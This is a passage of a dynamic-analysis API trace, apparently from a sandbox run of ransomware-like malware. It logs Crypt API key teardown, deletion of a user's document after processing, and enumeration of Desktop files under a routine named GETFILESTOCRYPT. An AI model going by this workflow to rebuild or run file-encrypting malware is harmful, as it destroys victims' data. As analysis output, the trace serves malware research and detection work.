lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0074.274] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0074.274] CryptDestroyKey (hKey=0x164c4f0) returned 1 [0074.274] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.274] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.275] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.275] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.275] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.275] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.275] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.275] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.275] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.275] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0074.275] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.275] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.275] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.276] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.276] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.276] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.276] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.276] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.276] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.276] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.276] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.276] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.276] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.276] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.276] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.276] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.276] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.276] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.276] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0074.277] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0074.277] CryptReleaseContext (hProv=0x17aade0, dwFlags=0x0) returned 1 [0074.277] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.277] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.277] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.277] FreeLibrary (hLibModule=0x74c60000) returned 1 [0074.277] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.277] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.277] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.277] CloseHandle (hObject=0x3ac) returned 1 [0074.279] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.279] CloseHandle (hObject=0x3d0) returned 1 [0074.280] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.288] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.288] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", lpFilePart=0x0) returned 0x48 [0074.288] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\xekrz9knauvfaja3j.odp")) returned 0x20 [0074.289] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c9f0 [0074.289] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\xekRZ9KnauVFAja3J.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\xekrz9knauvfaja3j.odp")) returned 1 [0074.307] FindNextFileW (in: hFindFile=0x164c9f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0074.307] FindClose (in: hFindFile=0x164c9f0 | out: hFindFile=0x164c9f0) returned 1 [0074.307] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.307] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.308] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.308] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.308] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.308] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0074.308] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0074.308] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x0, dwFlags=0x0, pszPath=0x130f060 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x0 [0074.309] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.309] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", cchCount1=29, lpString2="", cchCount2=0) returned 3 [0074.309] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.309] CharUpperBuffW (in: lpsz="_FILELISTTOARRAYREC", cchLength=0x13 | out: lpsz="_FILELISTTOARRAYREC") returned 0x13 [0074.309] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.309] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0074.309] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.309] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.309] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.309] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.309] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.309] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.309] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.309] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.309] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.310] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.311] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.311] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.311] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.311] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.311] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.311] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*.*", cchCount1=3, lpString2="*", cchCount2=1) returned 3 [0074.311] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.311] CharUpperBuffW (in: lpsz="__FLTAR_LISTTOMASK", cchLength=0x12 | out: lpsz="__FLTAR_LISTTOMASK") returned 0x12 [0074.311] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0074.311] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0074.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*.*", cchCount1=1, lpString2=";", cchCount2=1) returned 1 [0074.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2=";", cchCount2=1) returned 1 [0074.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, lpString2=";", cchCount2=1) returned 1 [0074.311] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0074.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*\\.*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0074.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\.*", cchCount1=1, lpString2="?", cchCount2=1) returned 3 [0074.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0074.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0074.312] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*\\.*", cchCount1=1, lpString2="*", cchCount2=1) returned 2 [0074.312] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\.*", cchCount1=1, lpString2="*", cchCount2=1) returned 3 [0074.312] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2="*", cchCount2=1) returned 3 [0074.312] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, lpString2="*", cchCount2=1) returned 2 [0074.312] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0074.312] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0074.312] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.312] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.312] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.312] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.312] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.312] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.312] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0074.312] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.312] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.312] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.312] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.312] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.312] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.312] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.313] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.314] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.314] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.314] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0074.314] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164d130 [0074.314] FindNextFileW (in: hFindFile=0x164d130, 